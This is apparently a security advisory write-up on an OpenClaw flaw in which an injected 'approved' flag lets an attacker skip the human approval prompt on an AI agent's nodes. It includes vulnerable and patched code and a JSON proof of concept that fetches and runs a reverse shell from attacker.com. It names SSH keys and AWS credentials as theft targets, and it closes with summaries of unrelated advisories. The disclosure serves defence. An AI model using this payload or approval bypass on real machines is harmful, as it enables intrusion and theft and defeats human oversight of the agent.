Mar 2, 2026·6 min read·25 visits
OpenClaw allows remote command execution without user approval due to improper parameter sanitization. Attackers can inject an "approved" flag into RPC requests, bypassing security prompts on developer machines. Fixed in v2026.1.29.
A critical remote code execution (RCE) vulnerability exists in OpenClaw versions prior to v2026.1.29. The vulnerability arises from a trust boundary violation between the OpenClaw Gateway and connected Node hosts. The Gateway fails to sanitize Remote Procedure Call (RPC) parameters before forwarding them to Nodes. This allows authenticated attackers (or attackers possessing a valid operator token) to inject internal control flags—specifically `approved: true`—into command payloads. These injected flags trick the Node into bypassing the mandatory user confirmation prompt for sensitive actions, resulting in the immediate execution of arbitrary shell commands on the target machine.
OpenClaw (formerly Moltbot/ClawdBot) functions as a personal AI assistant that orchestrates workflows across distributed environments. Its architecture consists of a central Gateway and multiple Nodes (remote hosts, often developers' personal computers or servers). The Gateway acts as a command-and-control server, relaying RPC messages such as node.invoke to specific Nodes to perform tasks.
To prevent unauthorized actions, OpenClaw implements a "Human-in-the-Loop" security model for sensitive operations. When a dangerous command—such as system.run (executing shell scripts)—is requested, the Node host is designed to intercept the request and spawn a local interactive prompt. The user must manually approve this prompt before the command executes. This mechanism is the primary defense against malicious operators or compromised tokens.
GHSA-GV46-4XFQ-JV58 represents a complete bypass of this security control. By manipulating the JSON payload sent to the Gateway, an attacker can instruct the Node to treat the request as pre-approved. This effectively converts a protected administrative feature into an open remote code execution interface, allowing the attacker to run arbitrary code on any connected Node without the owner's knowledge or consent.
The vulnerability stems from a classic Trust Boundary Violation (CWE-501) coupled with Mass Assignment (CWE-915). The system architecture relies on the Gateway to forward requests to Nodes, but it failed to define a strict schema for which parameters could be passed from the client to the execution engine.
The root cause resides in the lack of sanitization in the Gateway's node.invoke handler and the implicit trust the Node placed in the parameters it received. Specifically, the Node's execution runner (src/node-host/runner.ts) determined whether to show a user prompt by checking for the existence of specific properties in the incoming params object:
approved: A boolean flag indicating prior approval.approvalDecision: A string (e.g., 'allow-once') indicating the user's choice.These flags were intended for internal use—to be set only after a user clicked "Approve" on the local prompt. However, the Gateway blindly forwarded the entire params object from the WebSocket request to the Node. Consequently, an attacker could simply supply these internal flags in the initial request. The Node, receiving approved: true, erroneously assumed the check had already occurred and executed the payload immediately.
The vulnerability involves two distinct components: the decision logic in the Node and the forwarding logic in the Gateway. The critical failure was that the Gateway did not filter the input before the Node consumed it.
Vulnerable Logic (Node Host)
In src/node-host/runner.ts, the code checked the parameters directly to decide if a prompt was needed:
// Vulnerable Code in Node Host
// The code trusts that 'approved' only comes from a trusted internal process
const approvedByAsk = params.approvalDecision !== null || params.approved === true;
if (requiresAsk && !approvedByAsk) {
// Trigger the UI popup for user confirmation
const decision = await askUser(params);
} else {
// Execute immediately - VULNERABILITY TRIGGER
// If params.approved is true, we reach here without user interaction
executeCommand(params);
}The Fix (Gateway)
The remediation was applied in the Gateway to prevent these flags from ever reaching the Node. In commit 0af76f5f0e93540efbdf054895216c398692afcd, a sanitization step was added to the node.invoke handler in src/gateway/server-methods/nodes.ts:
// Patched Code in Gateway
function sanitizeNodeInvokeParamsForForwarding(params: any) {
const safeParams = { ...params };
// Explicitly strip internal control flags
delete safeParams.approved;
delete safeParams.approvalDecision;
delete safeParams.runId; // Prevent ID collision attacks
return safeParams;
}
// In the RPC handler:
const forwardedParams = sanitizeNodeInvokeParamsForForwarding(clientRequest.params);
nodeConnection.send(forwardedParams);This change ensures that even if a malicious client sends approved: true, the Gateway removes it before the Node receives the message, forcing the Node to default to the safe behavior (prompting the user).
Exploiting this vulnerability requires an authenticated session with operator.write permissions. In a real-world attack scenario, this is often achieved by chaining with a separate vulnerability (like CVE-2026-25253) to steal an authentication token, or by a malicious insider.
Attack Steps:
node.list RPC method to identify a target nodeId.node.invoke method. They target the system.run command and inject the bypass flags.Proof of Concept (PoC):
{
"method": "node.invoke",
"params": {
"nodeId": "target-macbook-pro-uuid",
"command": "system.run",
"params": {
"command": ["/bin/bash", "-c", "curl -s http://attacker.com/revshell | bash"],
"cwd": "/tmp",
"approved": true,
"approvalDecision": "allow-once"
}
}
}Upon receiving this payload, the Gateway forwards the inner params object to the target MacBook. The OpenClaw agent on the MacBook sees approved: true, skips the GUI prompt, and immediately downloads and executes the reverse shell script.
The impact of this vulnerability is Critical. OpenClaw is designed to provide deep system integration for AI agents, often running with the privileges of the active user on developer workstations.
Consequences:
~/.ssh/id_rsa), AWS credentials (~/.aws/credentials), and other sensitive local data.Severity Metrics:
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HThe vulnerability is addressed in OpenClaw version v2026.1.29. The patch implements input validation at the Gateway level, serving as a choke point for all RPC traffic.
Immediate Actions:
node.invoke calls containing unexpected keys in the params object, specifically approved or approvalDecision appearing in inbound requests.No configuration-based workaround exists that is as effective as patching, because the vulnerability lies in the core message handling logic. Network segmentation (restricting access to the Gateway) can reduce the attack surface but does not eliminate the risk of insider threat or token theft exploitation.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
OpenClaw OpenClaw | < 2026.1.29 | 2026.1.29 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-501 |
| Attack Vector | Network |
| CVSS Score | 8.8 |
| Impact | Remote Code Execution |
| Exploit Status | PoC Available |
| Prerequisites | Authenticated Operator Token |
Trust Boundary Violation
CVE-2026-91130 is a critical DOM-based Cross-Site Scripting (XSS) vulnerability in the Home Assistant open-source home automation platform. Prior to version 2026.7.0, the Statistics Graph card rendered series tooltips using raw HTML string interpolation without escaping user-controlled entity friendly names. By abusing this vulnerability, an authenticated user with low-privilege access can inject arbitrary HTML and JavaScript into entity name fields, which executes in the context of an administrative user's browser session upon hovering over a data point on an affected chart.
A high-severity denial of service vulnerability exists in the emiago/sipgo Go library when parsing stream-based SIP messages. The stream parser fails to validate declared Content-Length header sizes before initiating memory allocations, allowing remote, unauthenticated attackers to trigger process memory exhaustion and application crashes.
CVE-2026-58270 identifies a Regular Expression Denial of Service (ReDoS) vulnerability in Sync-in Server prior to version 2.4.0. An authenticated attacker can supply a complex regular expression in the pathFilters parameter of the sync diff endpoint. When evaluated, this causes catastrophic backtracking, blocking the single-threaded Node.js event loop and rendering the entire server unresponsive.
CVE-2026-56681 is a high-severity authentication bypass vulnerability in 9Router, an AI router and token-saving proxy. The vulnerability arises from an improper trust boundary where the application relies on the client-controlled HTTP header X-9r-Real-Ip to determine whether an incoming request originates from a local (loopback) environment. In deployments where requests can reach the Next.js backend directly—bypassing the sanitizing custom-server.js wrapper—a remote, unauthenticated attacker can spoof their origin by supplying an X-9r-Real-Ip: 127.0.0.1 header.
A rate limiting bypass vulnerability in 9Router versions before 0.5.6 allows unauthenticated remote attackers to circumvent the login progressive lockout mechanism. By manipulating the client-supplied X-9r-Real-Ip HTTP header, an attacker can rotate the tracking IP address, enabling unthrottled brute-force password guessing against the administrative interface.
CVE-2026-58272 is a timing side-channel vulnerability in the authentication endpoint of Sync-in Server before version 2.4.1. Unauthenticated remote attackers can distinguish between valid and invalid usernames due to asymmetric execution paths. When processing invalid usernames, the database query returns early, skipping the computationally expensive bcrypt verification path that is normally triggered for valid accounts.